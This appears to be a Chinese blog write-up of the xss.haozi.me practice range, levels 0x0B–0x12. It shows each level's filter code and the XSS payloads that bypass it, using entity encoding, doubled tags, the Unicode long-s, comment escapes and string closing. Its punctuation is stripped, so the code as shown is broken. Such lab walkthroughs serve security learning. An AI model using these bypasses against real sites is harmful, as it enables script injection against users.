xss.haozi.me靶场“0x0B-0x12”关卡:从实体编码到闭合逃逸的实战解析

发布时间:2026/6/29 14:52:37
xss.haozi.me靶场“0x0B-0x12”关卡:从实体编码到闭合逃逸的实战解析 1. 实体编码绕过的艺术0x0B关卡实战在xss.haozi.me靶场的0x0B关卡中我们遇到了第一个有趣的挑战——大小写敏感性问题。当我第一次尝试用常规的scriptalert(1)/script进行测试时发现所有字符都被转换成了大写。查看源码后发现关键逻辑function render(input) { input input.toUpperCase() return h1${input}/h1 }这里有个重要知识点HTML标签不区分大小写但JavaScript代码是严格区分大小写的。当alert(1)被转换成ALERT(1)时浏览器会报错说ALERT is not defined。我尝试了三种有效绕过方式第一种是使用HTML实体编码。通过将字母转换为十六进制实体编码可以绕过大小写转换/h1img src onerror#x61;#x6c;#x65;#x72;#x74;(1)第二种是组合使用SVG和Script标签/h1svgscript#x61;#x6c;#x65;#x72;#x74;(1)/script第三种更巧妙利用域名不区分大小写的特性script srchttps://www.segmentfault.com.haozi.me/j.js/script2. script标签的双写魔术0x0C关卡突破0x0C关卡在0x0B基础上增加了script过滤源码如下function render(input) { input input.replace(/script/ig, ) input input.toUpperCase() return h1 input /h1 }这里采用了正则表达式/script/ig进行全局不区分大小写的替换。我尝试了经典的双写绕过技术scripscriptt srchttps://www.segmentfault.com.haozi.me/j.js/scripscriptt当过滤器删除中间的script后剩下的字符正好能重新组合成完整的script标签。此外还可以完全避开script标签使用img的onerror事件/h1img src onerror#x61;#x6c;#x65;#x72;#x74;(1)3. 注释逃逸的奇技淫巧0x0D关卡解密0x0D关卡将用户输入放入了JavaScript注释中function render(input) { input input.replace(/[/]/g, ) return script // alert(${input}) /script }这里的关键是要逃逸出注释范围。我通过插入换行符破坏注释结构再用--注释掉后续内容alert(1) --这个payload之所以有效是因为JavaScript中的单行注释(//)遇到换行符就会终止而--在特定位置会被当作注释符号。4. ſ符号的妙用0x0E关卡的特殊绕过0x0E关卡采用了更复杂的过滤function render(input) { input input.replace(/([a-zA-Z])/g, _$1) input input.toUpperCase() return h1 input /h1 }这个过滤器会在标签名的第一个字母前插入下划线。我发现了Unicode字符中的长s(ſ)可以完美绕过ſcript srchttps://www.segmentfault.com.haozi.me/j.js/scriptſ在视觉上很像小写的s但它的Unicode码点是U017F不会被识别为常规的s字符。当过滤器处理时不会在它前面插入下划线而浏览器却能正确解析为script标签。5. 编码解码的博弈0x0F关卡深度剖析0x0F关卡实现了全面的HTML实体编码function render(input) { function escapeHtml(s) { return s.replace(//g, amp;) .replace(//g, #39;) .replace(//g, quot;) .replace(//g, lt;) .replace(//g, gt;) .replace(/\//g, #x2f;) } return img src onerrorconsole.error(${escapeHtml(input)}) }这里的关键洞察是HTML解析器会先解码实体编码再执行JavaScript。因此可以构造特殊payload); alert(1); //这个payload先闭合前面的字符串然后执行我们的代码最后注释掉剩余部分。也可以利用字符串拼接); alert(16. JavaScript上下文的直接注入0x10-0x12关卡0x10关卡相对简单直接将用户输入放入JavaScript上下文function render(input) { return script window.data ${input} /script }可以直接注入JavaScript代码alert(1)0x11和0x12关卡则展示了更复杂的JavaScript上下文注入。以0x11为例function render(s) { function escapeJs(s) { return String(s) .replace(/\\/g, \\\\) .replace(//g, \\\) .replace(//g, \\) .replace(//g, \\) .replace(//g, \\74) .replace(//g, \\76) .replace(/\//g, \\/) .replace(/\n/g, \\n) .replace(/\r/g, \\r) .replace(/\t/g, \\t) .replace(/\f/g, \\f) .replace(/\v/g, \\v) .replace(/\0/g, \\0) } s escapeJs(s) return script var url javascript:console.log(${s}) var a document.createElement(a) a.href url document.body.appendChild(a) a.click() /script }绕过这种严格过滤的关键是理解转义后的字符如何被重新解析。有效payload);alert(1);//0x12关卡类似但只过滤了双引号function escape(s) { s s.replace(//g, \\) return scriptconsole.log( s );/script }可以通过转义反斜杠本身来绕过\);alert(1);//这个payload中第一个反斜杠转义了过滤器添加的反斜杠使得后面的双引号能够成功闭合字符串。